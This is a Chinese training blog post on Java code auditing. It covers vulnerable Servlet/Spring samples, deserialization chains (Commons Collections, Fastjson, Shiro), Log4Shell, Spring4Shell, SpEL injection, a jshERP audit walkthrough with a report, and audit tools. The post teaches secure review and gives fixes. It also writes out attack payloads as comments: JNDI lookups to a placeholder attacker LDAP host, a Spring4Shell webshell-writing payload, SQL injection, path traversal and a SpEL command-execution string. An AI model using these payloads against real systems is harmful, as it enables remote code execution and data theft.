Java代码审计实战

3 阅读10分钟

Java代码审计实战

马哥教育网络安全课程实战博客 · 第17篇

对应课程章节:第31-34章(代码审计、Java代码审计基础和Java Web常见漏洞、华夏ERP实操、Java代码审计进阶)


一、Java代码审计基础

1.1 Java Web架构演进

Java Web开发架构经历了从简单到复杂的演进过程,理解架构是审计的前提。

Servlet/JSP时代:

// 传统Servlet处理请求
@WebServlet("/user")
public class UserServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        // 直接获取参数 - 审计入口点
        String id = req.getParameter("id");
        
        // 漏洞代码: SQL注入
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test", "root", "pass");
        Statement stmt = conn.createStatement();
        ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE id = " + id);
        
        // 漏洞代码: XSS
        PrintWriter out = resp.getWriter();
        out.println("<html><body>" + id + "</body></html>");
    }
}

Spring MVC时代:

// Spring MVC控制器
@Controller
@RequestMapping("/api")
public class ApiController {
    
    @Autowired
    private UserService userService;
    
    // 漏洞: SQL注入(MyBatis ${}拼接)
    @GetMapping("/user/{name}")
    @ResponseBody
    public User getUserByName(@PathVariable String name) {
        return userService.findByName(name); // 若XML中使用${name}则注入
    }
    
    // 漏洞: SSRF
    @GetMapping("/fetch")
    @ResponseBody
    public String fetchUrl(@RequestParam String url) {
        URL u = new URL(url);
        BufferedReader reader = new BufferedReader(
            new InputStreamReader(u.openStream()));
        // 攻击者可指定内网地址进行SSRF
        return IOUtils.toString(reader);
    }
}

1.2 常见Java漏洞类型

漏洞类型危险API/特性审计关键词
SQL注入Statement、MyBatis ${}executeQuery, ${
XSSresponse.getWriter()println, write
SSRFURL.openConnection()openStream, HttpClient
反序列化ObjectInputStreamreadObject, XMLDecoder
命令执行Runtime.exec()Runtime, ProcessBuilder
SpEL注入ExpressionParserparseExpression, getValue
XXEDocumentBuilderDocumentBuilderFactory, SAXParser
文件上传MultipartFiletransferTo, getOriginalFilename

1.3 Java反射与类加载

反射和动态类加载是Java反序列化漏洞的基础:

// 反射调用 - 审计重点
public class ReflectionDemo {
    public void invokeMethod(String className, String methodName, Object arg) 
            throws Exception {
        // 漏洞: 用户可控的类名和方法名
        Class<?> clazz = Class.forName(className);
        Method method = clazz.getMethod(methodName, String.class);
        method.invoke(null, arg);
        // 攻击者可调用任意类的任意方法
    }
}

// 动态类加载
public class ClassLoaderDemo {
    public void loadClass(byte[] classBytes) {
        // 漏洞: 加载恶意字节码
        ClassLoader loader = new ClassLoader() {
            @Override
            protected Class<?> findClass(String name) {
                return defineClass(name, classBytes, 0, classBytes.length);
            }
        };
        Class<?> clazz = loader.loadClass("Evil");
    }
}

// ProcessBuilder命令执行
public class CmdDemo {
    public void exec(String cmd) throws Exception {
        // 漏洞: 用户可控命令
        ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
        Process p = pb.start();
        // 等价于 Runtime.getRuntime().exec("sh -c " + cmd);
    }
}

二、Java反序列化漏洞

Java反序列化漏洞是Java安全审计中最重要的漏洞类型之一,危害极大。

2.1 反序列化漏洞原理

// 漏洞代码示例
import java.io.*;

public class DeserializeDemo {
    public void processRequest(HttpServletRequest req) throws Exception {
        // 从用户请求中获取序列化数据
        String data = req.getParameter("data");
        byte[] bytes = Base64.getDecoder().decode(data);
        
        // 漏洞: 直接反序列化用户可控数据
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        Object obj = ois.readObject(); // 触发利用链
        ois.close();
    }
}

// 可被利用的类
class EvilClass implements Serializable {
    private String cmd;
    
    // readObject方法在反序列化时自动调用
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        // 触发命令执行
        Runtime.getRuntime().exec(this.cmd);
    }
}

2.2 Apache Commons Collections利用链

Apache Commons Collections是Java反序列化漏洞的经典利用链:

// Commons Collections利用链分析(教育目的)
//InvokerTransformer链: 
// 1. 通过ConstantTransformer获取Runtime类
// 2. 通过InvokerTransformer调用exec方法
// 3. 使用ChainedTransformer串联多个Transformer
// 4. 使用TransformedMap/LazyMap触发Transformer链

// 检测代码中是否存在反序列化点
// 审计命令:
// grep -rn "readObject\|ObjectInputStream\|XMLDecoder" src/
// grep -rn "import org.apache.commons.collections" src/

// 常见利用链:
// CC1: LazyMap + InvokerTransformer
// CC2: PriorityQueue + TransformingComparator
// CC3: TrAXFilter + InstantiateTransformer (加载恶意类)
// CC5: BadAttributeValueExpException + TiedMapEntry
// CC6: HashSet + TiedMapEntry (兼容CC3.1+CC4.0)
// CC7: Hashtable + LazyMap (解决HashSet冲突)

2.3 Fastjson反序列化漏洞

Fastjson是Java中广泛使用的JSON库,存在多个严重反序列化漏洞:

// Fastjson漏洞代码
import com.alibaba.fastjson.JSON;

public class FastjsonDemo {
    // Fastjson 1.2.24 - autoType绕过
    public void parse(String input) {
        // 漏洞: autoType开启时,可指定任意类
        Object obj = JSON.parse(input);
        // Payload示例:
        // {"@type":"com.sun.rowset.JdbcRowSetImpl",
        //  "dataSourceName":"ldap://攻击者IP/Exploit",
        //  "autoCommit":true}
        // 通过JNDI注入加载远程恶意类
    }
    
    // Fastjson 1.2.47 - autoType默认开启绕过
    // 即使autoType关闭,也可通过缓存绕过
    // Payload:
    // {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
    //  "b":{"@type":"com.sun.rowset.JdbcRowSetImpl",
    //       "dataSourceName":"ldap://攻击者IP/Exploit",
    //       "autoCommit":true}}
}

// 审计要点:
// 1. 检查fastjson版本,1.2.83以下可能存在漏洞
// 2. 搜索JSON.parse/JSON.parseObject调用
// 3. 检查autoType配置
// 4. 检查是否使用了@type特性

2.4 Log4j漏洞(Log4Shell)

Log4Shell(CVE-2021-44228)是2021年最严重的Java漏洞:

// Log4j漏洞代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jDemo {
    private static final Logger logger = LogManager.getLogger();
    
    public void handleRequest(HttpServletRequest req) {
        String userAgent = req.getHeader("User-Agent");
        
        // 漏洞: Log4j 2.x < 2.15.0 会解析JNDI
        logger.info("User-Agent: {}", userAgent);
        
        // 攻击Payload:
        // User-Agent: ${jndi:ldap://攻击者IP/Exploit}
        // 或: ${jndi:rmi://攻击者IP/Exploit}
        
        // Log4j会解析${jndi:...}并加载远程类
        // 导致远程代码执行
    }
}

// 漏洞利用流程:
// 1. 攻击者发送包含${jndi:ldap://attacker/a}的HTTP请求
// 2. Log4j解析日志消息中的JNDI表达式
// 3. 向攻击者控制的LDAP服务器发起请求
// 4. LDAP返回恶意Java类的引用
// 5. 受害服务器加载并执行恶意类

// 修复方案:
// 1. 升级Log4j到2.17.1+
// 2. 设置log4j2.formatMsgNoLookups=true
// 3. 移除JndiLookup类: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

2.5 Shiro反序列化漏洞

Apache Shiro是一个Java安全框架,存在经典的反序列化漏洞:

// Shiro 1.2.4 反序列化漏洞 (CVE-2016-4435)
// 漏洞原理:
// 1. Shiro使用AES加密Cookie中的序列化数据(rememberMe)
// 2. 默认AES密钥硬编码为 kPH+bIxk5D2deZiIxcaaaA==
// 3. 攻击者知道密钥后可构造恶意序列化数据

// 攻击流程:
// 1. 使用已知AES密钥加密 Commons Collections Payload
// 2. 将加密后的数据放入 rememberMe Cookie
// 3. 发送请求触发反序列化

// Shiro漏洞利用工具使用:
// shiro_attack工具流程:
// a. 检测Shiro框架 (响应Set-Cookie: rememberMe=deleteMe)
// b. 尝试默认密钥或爆破密钥
// c. 生成反序列化Payload
// d. AES加密Payload
// e. Base64编码后放入Cookie
// f. 发送请求执行命令

// 审计要点:
// grep -rn "rememberMe\|CookieRememberMeManager" src/
// 检查Shiro版本是否 < 1.2.5
// 检查是否使用了默认密钥

三、Spring框架漏洞

3.1 Spring4Shell(CVE-2022-22965)

Spring4Shell是Spring框架的远程代码执行漏洞:

// Spring4Shell影响条件:
// 1. JDK 9+
// 2. Spring Framework 5.3.0-5.3.17 / 5.2.0-5.2.19
// 3. 运行在Servlet容器(如Tomcat)
// 4. 使用Spring MVC参数绑定

// 漏洞原理:
// Spring MVC参数绑定机制允许修改class.classLoader相关属性
// 通过修改Tomcat的AccessLogValve属性实现写文件

// 漏洞Controller示例
@Controller
public class UserController {
    @GetMapping("/register")
    public String register(User user, Model model) {
        // 参数绑定会自动设置user对象的属性
        // 攻击者通过class.classLoader.xxx修改底层类加载器属性
        model.addAttribute("user", user);
        return "register";
    }
}

// 攻击Payload:
// POST /register
// class.module.classLoader.resources.context.parent.pipeline.first.pattern=
//   %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
//   %{c2}i Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
//   ...
// class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
// class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
// class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
// class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

// 修复方案:
// 1. 升级Spring Framework到5.3.18+或5.2.20+
// 2. 升级Spring Boot到2.6.6+或2.5.12+
// 3. 临时方案: 禁止class.classLoader参数绑定

3.2 Spring Boot Actuator漏洞

// Spring Boot Actuator默认暴露敏感端点
// application.properties配置
// management.endpoints.web.exposure.include=*
// 危险端点:
// /actuator/env - 泄露环境变量(可能包含密码)
// /actuator/heapdump - 导出堆内存(可提取密码)
// /actuator/jolokia - 可执行MBean操作
// /actuator/refresh - 刷新配置(可能触发RCE)

// Actuator + Jolokia RCE
// 1. 通过/actuator/jolokia/list查看MBean
// 2. 找到可利用的MBean (如Logback JNDI)
// 3. 通过Jolokia触发JNDI注入
// 4. 加载远程恶意类执行命令

// 审计要点:
// 检查application.properties/yml中Actuator配置
// 确认是否暴露了敏感端点
// 检查是否引入了jolokia依赖

3.3 SpEL注入

Spring Expression Language注入:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class SpelDemo {
    // 漏洞: 用户可控的SpEL表达式
    public void evaluateExpression(String userInput) {
        ExpressionParser parser = new SpelExpressionParser();
        // 漏洞代码 - 直接解析用户输入
        Expression exp = parser.parseExpression(userInput);
        Object result = exp.getValue();
        // 攻击Payload: T(java.lang.Runtime).getRuntime().exec('id')
    }
    
    // 安全代码 - 使用SimpleEvaluationContext限制功能
    public void safeEvaluate(String userInput) {
        ExpressionParser parser = new SpelExpressionParser();
        // 限制为数据绑定模式,禁止类型引用和方法调用
        EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        Expression exp = parser.parseExpression(userInput);
        Object result = exp.getValue(context);
    }
}

// 审计要点:
// grep -rn "parseExpression\|SpelExpressionParser\|getValue" src/
// 检查表达式来源是否用户可控
// 检查是否使用了安全的EvaluationContext

四、华夏ERP审计实战

4.1 环境搭建

华夏ERP(jshERP)是一个开源的Java ERP系统,适合代码审计练习。

# 攻击机: 113.47.1.165
# 目标机: 部署华夏ERP

# 1. 获取源码
git clone https://github.com/jishenghua/jshERP.git
cd jshERP

# 2. 数据库配置
mysql -u root -p
CREATE DATABASE jsh_erp;
# 导入初始数据
mysql -u root -p jsh_erp < sql/jsh_erp.sql

# 3. 修改配置
# src/main/resources/application.properties
# 修改数据库连接信息

# 4. 编译运行
mvn clean package -DskipTests
java -jar target/jshERP.jar

# 5. 审计环境准备
# 使用IDEA导入源码
# 安装FindBugs/SpotBugs插件
# 配置代码追踪

4.2 源码分析

// 华夏ERP架构分析
// 技术栈: Spring Boot + MyBatis + MySQL + Vue

// 1. 入口点分析 - Controller层
// src/main/java/com/jsh/erp/controller/

@RestController
@RequestMapping("/user")
public class UserController {
    @Autowired
    private UserService userService;
    
    // 审计点: 登录接口
    @PostMapping("/login")
    public ApiResponse login(@RequestBody UserLoginDTO dto) {
        // 检查是否有SQL注入
        return userService.login(dto);
    }
    
    // 审计点: 用户列表查询
    @GetMapping("/list")
    public ApiResponse getUserList(
            @RequestParam(defaultValue = "1") int currentPage,
            @RequestParam(defaultValue = "10") int pageSize,
            @RequestParam String search) {
        // 检查search参数是否安全
        return userService.getUserList(currentPage, pageSize, search);
    }
}

// 2. 数据访问层审计 - MyBatis Mapper
// 检查XML映射文件中的${}拼接
// src/main/resources/mapper/

// 3. 工具类审计
// 检查是否有不安全的反序列化、文件操作等

4.3 漏洞发现与利用

// 审计发现示例 - SQL注入
// MyBatis XML中使用${}导致注入

// Mapper XML (漏洞代码)
// <select id="selectByCondition" resultType="User">
//   SELECT * FROM user WHERE 1=1
//   <if test="search != null">
//     AND name LIKE '%${search}%'   <!-- ${}直接拼接,存在注入 -->
//   </if>
// </select>

// 利用过程:
// 1. 访问 /user/list?search=test' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
// 2. 通过UNION注入获取数据
// 3. 进一步获取管理员密码

// 审计发现示例 - 越权访问
// Controller中缺少权限校验
@GetMapping("/getUserById")
public User getUserById(@RequestParam Long id) {
    // 未检查当前用户是否有权限查看该id的用户信息
    return userService.getUserById(id);
    // 攻击者可遍历id获取所有用户信息
}

// 审计发现示例 - 任意文件读取
// 文件下载接口未限制路径
@GetMapping("/download")
public void download(@RequestParam String fileName, HttpServletResponse response) {
    // 漏洞: 未限制文件路径
    File file = new File("/opt/erp/files/" + fileName);
    // 攻击者: /download?fileName=../../../etc/passwd
    FileInputStream fis = new FileInputStream(file);
    IOUtils.copy(fis, response.getOutputStream());
}

4.4 审计报告编写

华夏ERP代码审计报告

一、审计概述
- 审计目标: jshERP v2.0
- 审计时间: 2024-xx-xx
- 审计范围: 全部源代码

二、漏洞清单
1. [高危] SQL注入 - 用户查询接口
   - 位置: UserController.getUserList()
   - 原因: MyBatis ${}拼接search参数
   - 影响: 数据库数据泄露
   - 修复: 使用#{}参数化查询

2. [中危] 越权访问 - 用户信息查询
   - 位置: UserController.getUserById()
   - 原因: 缺少权限校验
   - 修复: 添加@PreAuthorize注解

3. [高危] 任意文件读取 - 文件下载接口
   - 位置: FileController.download()
   - 原因: 未对fileName进行路径校验
   - 修复: 限制文件路径在指定目录内

三、修复建议
- 所有MyBatis参数使用#{}替代${}
- 添加统一的权限拦截器
- 文件操作进行路径规范化校验

五、Java审计工具

5.1 Fortify

Fortify是商业级静态代码分析工具:

# Fortify使用流程
# 1. 翻译阶段 - 将源码转换为中间表示
sourceanalyzer -b build_id -jdk 1.8 -src ./src -cp ./libs

# 2. 扫描阶段 - 分析中间表示
sourceanalyzer -b build_id -scan -f result.fpr

# 3. 查看报告
# 使用Fortify Audit Workbench打开result.fpr
# 或生成PDF报告
reportgenerator -format PDF -f report.pdf -source result.fpr

5.2 CodeQL

CodeQL是GitHub开发的代码分析引擎:

# CodeQL使用流程
# 1. 创建数据库
codeql database create java-db --language=java --command="mvn clean compile"

# 2. 运行查询
# 使用预置的Java安全查询套件
codeql database analyze java-db \
    codeql/java/ql/src/Security \
    --format=csv --output=results.csv

# 3. 自定义查询示例
# FindSQLInjection.ql
# /**
#  * @name SQL injection
#  * @kind path-problem
#  */
# import java
# import semmle.code.java.dataflow.TaintTracking
# // ... 查询逻辑

5.3 FindBugs / SpotBugs

# SpotBugs安装和使用
# Maven插件配置
# <plugin>
#   <groupId>com.github.spotbugs</groupId>
#   <artifactId>spotbugs-maven-plugin</artifactId>
#   <version>4.7.3</version>
# </plugin>

# 运行SpotBugs
mvn spotbugs:check

# 或使用命令行
spotbugs -textui -include security.xml target/classes/
# security.xml包含安全相关规则集

六、总结

Java代码审计相比PHP更为复杂,但核心思路一致:

  1. 理解架构:Java Web架构复杂,需理解Spring、MyBatis等框架机制
  2. 关注反序列化:Java反序列化是最具特色的漏洞类型,掌握CC链、Fastjson、Shiro等利用链
  3. 重视框架漏洞:Spring、Log4j等框架漏洞影响面广,需持续关注CVE
  4. 善用工具:Fortify、CodeQL等工具对Java支持较好,能提高审计效率
  5. 实战练习:通过华夏ERP等开源项目练习完整审计流程
  6. 编写报告:规范的审计报告是专业能力的体现

Java代码审计在甲方安全建设中尤为重要,因为企业级应用大量使用Java技术栈。掌握Java审计能力是安全工程师的核心竞争力之一。


上一篇:PHP代码审计实战 下一篇:安全开发与DevSecOps实战